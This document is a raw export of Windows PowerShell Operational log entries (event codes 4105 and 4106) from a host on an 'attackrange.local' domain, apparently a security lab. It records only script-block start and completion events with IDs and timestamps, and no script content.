OpCode=On create calls
RecordNumber=2049982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049971
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049970
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049969
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049968
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049952
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049951
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049946
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049945
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
